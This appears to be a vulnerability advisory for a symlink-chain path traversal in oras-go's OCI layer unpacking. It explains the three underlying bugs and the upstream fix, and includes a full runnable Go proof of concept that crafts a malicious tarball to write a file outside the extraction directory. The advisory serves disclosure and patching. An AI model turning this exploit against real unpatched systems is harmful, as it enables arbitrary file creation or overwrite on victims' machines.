CVE-2026-85731: oras-go Symlink-Chain Path Traversal in tar Extraction
A crafted OCI artifact can trick oras-go into writing files anywhere on disk, bypassing the sandbox that is supposed to keep extracted content inside a safe directory.
The problem
oras-go's content/file.Store unpacks OCI layers when a descriptor carries io.deis.oras.content.unpack=true. The pushDir path calls extractTarDirectory, which validates symlink targets with filepath.Join only, a purely lexical check that does not resolve intermediate symlink components the kernel will follow.
Two additional gaps compound the issue. resolveRelToBase skips its per-component Lstat walk for any entry whose parent is the extraction root itself (because filepath.Dir("escape") == "." short-circuits the loop). And writeFile opens files with O_CREATE|O_TRUNC but no O_NOFOLLOW, so a terminal symlink is silently followed.
Together the three gaps let a malicious tarball plant a symlink chain that looks in-bounds lexically but resolves to any absolute path at the kernel level, then write through it with a follow-up regular-file entry. The result is arbitrary file create or overwrite outside the store's working directory, even when AllowPathTraversalOnWrite=false.
Proof of concept
A working proof-of-concept for CVE-2026-85731 in oras.land/oras-go/v2, with the exact payload below.
// go mod init poc && go get oras.land/oras-go/v2@v2.6.1 && go run .
package main
import (
"archive/tar"
"bytes"
"compress/gzip"
"context"
_ "crypto/sha256"
"fmt"
"os"
"path/filepath"
"strings"
"github.com/opencontainers/go-digest"
ocispec "github.com/opencontainers/image-spec/specs-go/v1"
"oras.land/oras-go/v2/content/file"
)
func main() {
ctx := context.Background()
workDir, _ := os.MkdirTemp("", "oras-victim-*")
defer os.RemoveAll(workDir)
outside := filepath.Join(os.TempDir(), "oras-PWNED")
_ = os.Remove(outside)
defer os.Remove(outside)
const title = "out"
baseAbs := filepath.Join(workDir, title)
depth := len(strings.Split(strings.Trim(filepath.ToSlash(baseAbs), "/"), "/"))
// Build malicious layer
var buf bytes.Buffer
gzw := gzip.NewWriter(&buf)
tw := tar.NewWriter(gzw)
// Step 1: N nested dirs
dirs := make([]string, depth)
for i := range dirs {
dirs[i] = fmt.Sprintf("d%d", i)
}
for i := 1; i <= depth; i++ {
tw.WriteHeader(&tar.Header{Typeflag: tar.TypeDir,
Name: title + "/" + strings.Join(dirs[:i], "/"), Mode: 0o755})
}
// Step 2: 'up' symlink at the bottom pointing N levels up to baseAbs.
// Lexically AND on disk resolves to baseAbs, so ensureLinkPath accepts it.
upTarget := strings.Repeat("../", depth-1) + ".."
tw.WriteHeader(&tar.Header{
Typeflag: tar.TypeSymlink,
Name: title + "/" + strings.Join(dirs, "/") + "/up",
Linkname: upTarget, Mode: 0o777,
})
// Step 3: 'escape' symlink at title/escape.
// Lexical: N ".." cancel "up" + (N-1) dirs -> appears inside baseAbs.
// Kernel: follows 'up' to baseAbs, then N ".." climbs to "/", appends outsidePath.
dots := strings.Repeat("../", depth-1) + ".."
escapeTarget := strings.Join(dirs, "/") + "/up/" + dots + outside
tw.WriteHeader(&tar.Header{
Typeflag: tar.TypeSymlink,
Name: title + "/escape",
Linkname: escapeTarget, Mode: 0o777,
})
// Step 4: regular file at the same path title/escape.
// resolveRelToBase("escape"): dir=="." so Lstat loop never runs.
// writeFile opens with O_CREATE|O_TRUNC, no O_NOFOLLOW -> follows symlink.
payload := []byte("PWNED-BY-ORAS-TARSLIP")
tw.WriteHeader(&tar.Header{
Typeflag: tar.TypeReg,
Name: title + "/escape",
Mode: 0o644, Size: int64(len(payload)),
})
tw.Write(payload)
tw.Close()
gzw.Close()
data := buf.Bytes()
dgst := digest.FromBytes(data)
desc := ocispec.Descriptor{
MediaType: "application/vnd.oci.image.layer.v1.tar+gzip",
Digest: dgst, Size: int64(len(data)),
Annotations: map[string]string{
ocispec.AnnotationTitle: title,
file.AnnotationUnpack: "true",
},
}
store, _ := file.New(workDir)
defer store.Close()
// Exactly what oras.Copy invokes per layer
if err := store.Push(ctx, desc, bytes.NewReader(data)); err != nil {
fmt.Println("Push error:", err)
return
}
if out, err := os.ReadFile(outside); err == nil {
fmt.Printf("[!] BYPASS: wrote %q to %s\n", string(out), outside)
} else {
fmt.Println("[-] no escape")
}
}Three independent bugs must all fire together. First, ensureLinkPath calls filepath.Join to check that a symlink target is inside the extraction root. filepath.Join collapses .. purely in string space and never calls Lstat, so it cannot see that an intermediate path component is itself a symlink the kernel will follow first.
Second, resolveRelToBase contains a per-component Lstat loop that walks a path's ancestry looking for symlinks. For any entry whose in-tar name is directly under the title directory (e.g., out/escape), the relative path passed in is just escape, and filepath.Dir("escape") returns ".", so the loop body never executes and no Lstat is performed.
Third, writeFile opens the destination with os.OpenFile(..., os.O_WRONLY|os.O_CREATE|os.O_TRUNC, perm). The missing O_NOFOLLOW flag means the OS silently follows any terminal symlink. The patch (commit adab2f25) replaces lexical validation with filepath.EvalSymlinks-based containment checks and adds an Lstat of the final path component before writing, closing all three gaps.
CWE-22 (path traversal) and CWE-59 (link following) both apply.
The fix
Upgrade to oras.land/oras-go/v2 v2.6.2. The fix (commit adab2f25ea95ef4e6e41f50db9266a6701399422) replaces lexical filepath.Join symlink validation with filepath.EvalSymlinks-based containment checks and adds an Lstat guard on the final write target to reject symlinks before opening.
No configuration workaround exists for v2.6.1 and earlier because AllowPathTraversalOnWrite=false (the default) does not protect the pushDir code path.
Related research
- high · 7.1CVE-2026-50163CVE-2026-50163: oras-go Hardlink Path Traversal via CWD Resolution
- high · 7.5CVE-2026-50151CVE-2026-50151: oras-go Credential Leak via Unvalidated Location Header in Blob Upload
- highCVE-2026-17106CVE-2026-17106: moby/go-archive Symlink-Following Path Traversal in Tar Extraction
- high · 8.2CVE-2026-55667CVE-2026-55667: File Browser Out-of-Scope File Deletion via Symlink-Following RemoveAll